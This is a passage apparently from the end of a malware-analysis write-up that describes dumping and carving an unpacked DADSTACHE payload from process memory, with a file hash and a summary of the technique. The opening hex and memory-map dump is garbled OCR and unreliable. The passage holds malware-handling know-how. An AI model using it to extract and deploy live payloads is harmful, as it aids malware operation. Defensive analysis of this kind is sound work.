002E67R0 74 20 62 65 20 72 002E67R0 60 6E 64 65 26 01	2 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS	Float	•			71980000 00001000 71981000 00084000	CRVPT32	text	PE header	Ing	R R F	RUE Cop
002E67C0 27 3A C1 D3 63 58 002E67D0 D7 C7 5E 80 69 58	AF 80 63 58 AF 80 63 58 AF 80 ':+#ccl>Ccl>Ccl>Ccl>C AF 80 D7 C7 5C 80 E6 58 AF 80 i#^Cil>Cil>Cil>C	Disassemble				71865000 00002000 71867000 0005F000	CRVPT32 CRVPT32	.data .rsro	Data Resources	Ing	RU Cop R	RUE Cop RUE Cop
002E67E0 D7 C7 5D 80 7B 5E 002E67E0 86 02 AB 81 71 5E	3 AF 80 86 02 AC 81 70 58 AF 80 IAJC([~C&Ohup[~C 3 AF 80 86 02 AA 81 44 58 AF 80 & Sug[~C&Ohup[~C	Appearance	•			71806000 00007000 72400000 00001000	0 CRVPT32 0 urlmon	.reloc	Relocations PE header	Ing Ing	R	RUE Cop RUE Cop
002E6810 91 02 A6 81 60 55	3 AF 80 91 02 AD 81 62 58 AF 80 at at	0018FR50	$\top$			72401000 00000000 7240E000 0000B000	ur Lmon	.texto	Code, imports, exports	ing ing	RU Cop	RUE COD
002E0020 52 67 63 60 63 50 002E6830 00 00 00 00 00 00 00 002E6840 59 45 00 00 00 40 0	04 00 DE DE 14 55 00 00 00 00 00 00 00 00	0018FR58 00000000 0018FR5C 00000000				7252E000 00008000 72540000 00001000	3 urlmon	.reloc	Relocations PE header	Ing	588	RUE Cop
002E6850 00 00 00 00 E0 00 002E6860 00 EC 00 00 PA PA	0 02 01 08 01 0E 00 00 6C 01 00 0 0 00704 10 00 00 FA 39 00 00 00 10 00 00 "	0018FR64 0000000				72541000 0014500	0 0 Le32 0 0 Le32	.texto	Code, imports, exports Data	Ing	Ř E R⊎	RME Cop
002E6870 00 80 01 00 00 00 002E6880 05 00 01 00 00 00	1 40 00 00 10 00 00 00 00 00 00 00 00 0 0 0 0 0 0 0	0018FH68 00000000 0018FA6C 00000000 0018FA6C 00000000				72680000 00003000 72680000 00005000	ole32 ole32	.rsrc .reloc	Resources Relocations	Ing	RR	RVE Cop
002E6890 00 50 02 00 00 04 002E6880 00 00 10 00 00 10	00 00 00 00 00 00 00 00 40 81 P8 • • • • • • • • • • • • • • • • • •	0013FH70 00000000 0018FR74 00000000 0019F070 00000000				74600000 00001000 74601000 0010000	iertutil iertutil	.text	PE header Code, inports, exports	Ing	R E	RVE Cop RVE Cop
002E6380 00 00 00 00 10 00 002E63C0 0C FC 01 00 78 00	1 00 00 00 00 00 00 00 00 00 00 00 00 00	0018FA7C 00000000 0018FA92 00000000				747E1000 0000500	iertutil	.data .rsro	Resources	Ing	RU Cop	RUE Copy
002E63E0 00 30 02 00 00 00 14	00 00 00 00 00 00 00 00 00 00 00 00 00	0018FR84 00000000 0018FR88 00000000				77060000 0001900	ADUAP132	reloc	PE header	Ing	R F	RME Cop
	9 88 88 98 ED 81 88 48 88 88 88 99 99 99 99 99 99 99 99 99 99	0018FR9C 00000000 0018FR90 00000000				77003000 00004000	ADUAP132	.data	Data Resources	Ing	RU Cop	RHE Cop
002E6920 00 00 00 00 00 00 00 00 00	0 00 00 00 00 00 00 00 00 00 00 00 00 0	0018FR94 00000000 0018ER98 00000000				77CFB000 00005000 78860000 00001000	9 ADUAP132 Mod_7886	.reloc	Relocations PE header	Ing	R R	RME Con RME Cop
1999565999195 59 91 99 99 19	1 98 981 98 6C 91 99 99 94 99 991718 ▶ 18 ◆	Concernent Recordsold			<u>.</u>	78861000 00003000				Ing	RE	

Excellent, there is the iconic tell-tale sign of our successful payload extraction: an MZ header! Using the context menu, we can dump the full section with the target payload. The only step left is ripping the executable from the section, which I usually do with my favorite hex editor: 010Editor.

The resulting unpacked file has a size of 138.752 bytes and is the DADSTACHE payload we were longing for!

As this final payload is not available on VT as of now, I have also added it to the <u>package</u> mentioned earlier. <u>unpacked</u> (the result of the efforts described in here) sha256: f922913ed85e79d4a5eb804f23bde0888de86dc6f5521fde7ed607db212f1256

#### Summary

I hope this outline of "Sandbox Necromancy" and the walkthrough are helpful to some of you. It's certainly a technique that is easily transferred to other situations and generally very useful.

If you want me to do more write-ups like this one, <u>let me know</u>. I typically struggle a bit when estimating if such aspects of analysis are too trivial or worthwhile the effort of documenting. :)

For further reading, a similar extraction walkthrough for an earlier DADSTACHE sample was written by Asuna Amawaka.